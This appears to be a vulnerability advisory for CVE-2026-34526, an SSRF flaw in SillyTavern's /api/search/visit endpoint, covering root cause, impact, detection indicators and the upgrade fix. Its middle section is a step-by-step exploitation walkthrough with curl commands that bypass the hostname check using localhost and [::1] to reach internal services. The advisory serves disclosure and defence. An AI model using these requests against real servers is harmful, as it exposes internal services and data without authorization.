CVE-2026-34526: 
NixOS vulnerability analysis and mitigation

CVE-2026-34526 is a Server-Side Request Forgery (SSRF) vulnerability in SillyTavern's /api/search/visit endpoint caused by incomplete hostname validation. The flaw exists in src/endpoints/search.js (line 419), where the blocklist regex only matches dotted-quad IPv4 addresses, leaving localhost, IPv6 loopback ([::1]), and DNS names resolving to internal IPs (e.g., localtest.me) unblocked. It affects SillyTavern versions ≤ 1.16.0 (Node.js package) and is distinct from related CVEs CVE-2025-59159 and CVE-2026-26286. It carries a CVSS v3.1 base score of 5.0 (Medium) (GitHub Advisory, SillyTavern Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): the hostname validation regex /^\d+\.\d+\.\d+\.\d+$/ in src/endpoints/search.js only blocks literal dotted-quad IPv4 addresses. Attackers can bypass this check by supplying localhost, [::1] (IPv6 loopback), or DNS names that resolve to internal/private IP ranges. A secondary port restriction (urlObj.port !== '') limits exploitation to services running on default ports 80 and 443, reducing the overall severity. An authenticated attacker sends a crafted HTTP POST to /api/search/visit with a JSON body containing a bypassing URL (e.g., {"url": "http://localhost/", "html": true}), causing the server to fetch the internal resource and return the full response body (GitHub Advisory, SillyTavern Advisory).

Successful exploitation allows an authenticated attacker to force the SillyTavern server to make HTTP requests to internal hosts on default ports (80/443), potentially exposing sensitive data from internal APIs, admin interfaces, or other services co-located on the same host or internal network. The full HTTP response body is returned to the attacker, enabling information disclosure. Integrity and availability are not directly impacted, but the confidentiality of internal services is at risk; lateral movement within the internal network is possible if internal APIs are accessible (GitHub Advisory).

A public proof-of-concept (PoC) is available in the GitHub Security Advisory, consisting of concrete curl commands demonstrating the bypass using localhost and [::1] against a running SillyTavern v1.16.0 instance. Exploitation requires low privileges (a valid session cookie or CSRF disabled) and no user interaction. There is no evidence of active in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.025% (12th percentile), indicating low near-term exploitation probability. This CVE is not listed in the CISA KEV catalog (GitHub Advisory, SillyTavern Advisory).

1. Reconnaissance: Identify a SillyTavern instance running version ≤ 1.16.0 that is network-accessible. Confirm the /api/search/visit endpoint is reachable.
2. Authenticate: Obtain a valid session cookie by logging into the SillyTavern instance, or confirm CSRF protection is disabled.
3. Confirm baseline block: Send a request using a dotted-quad IPv4 address to verify the existing block is in place:

curl -s -o /dev/null -w "%{http_code}" -X POST http://<target>:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1/", "html": true}'
# Expected: 400 (blocked)

4. Bypass with localhost: Replace the dotted-quad with localhost to bypass the regex:

curl -s -o /dev/null -w "%{http_code}" -X POST http://<target>:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://localhost/", "html": true}'
# Expected: 500 (validation passed, fetch attempted)

5. Bypass with IPv6 loopback: Alternatively, use [::1]:

curl -s -o /dev/null -w "%{http_code}" -X POST http://<target>:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://[::1]/", "html": true}'
# Expected: 500 (validation passed, fetch attempted)

6. Target internal services: Replace localhost with a DNS name resolving to an internal IP (e.g., localtest.me) or target specific internal services on port 80/443 to retrieve sensitive response data.
7. Exfiltrate data: Capture the full HTTP response body returned by the server, which may contain sensitive internal API data or service information (SillyTavern Advisory).

• Network: Outbound HTTP/HTTPS connections from the SillyTavern server process to localhost, 127.0.0.1, [::1], or other internal IP ranges on ports 80 or 443; DNS lookups for hostnames like localtest.me or similar DNS rebinding domains originating from the server.
• Logs: SillyTavern server logs showing HTTP POST requests to /api/search/visit with JSON bodies containing localhost, [::1], or DNS names resolving to internal addresses; HTTP 500 responses to /api/search/visit (indicating validation was bypassed and a fetch was attempted, resulting in ECONNREFUSED or a successful internal connection).
• Process: Unexpected outbound network connections from the Node.js SillyTavern process to loopback or internal network addresses on default HTTP/HTTPS ports (SillyTavern Advisory).

Upgrade SillyTavern to version 1.17.0 or later, which addresses the issue by improving IPv6 address validation in the search endpoint (SillyTavern Release). If immediate patching is not possible, restrict network access to the /api/search/visit endpoint via firewall rules or reverse proxy ACLs to limit who can reach it. Additionally, implement supplementary server-side validation that blocks all internal/loopback address formats — including IPv4, IPv6, hostnames (localhost), and DNS names resolving to private/internal IP ranges — before processing requests (GitHub Advisory).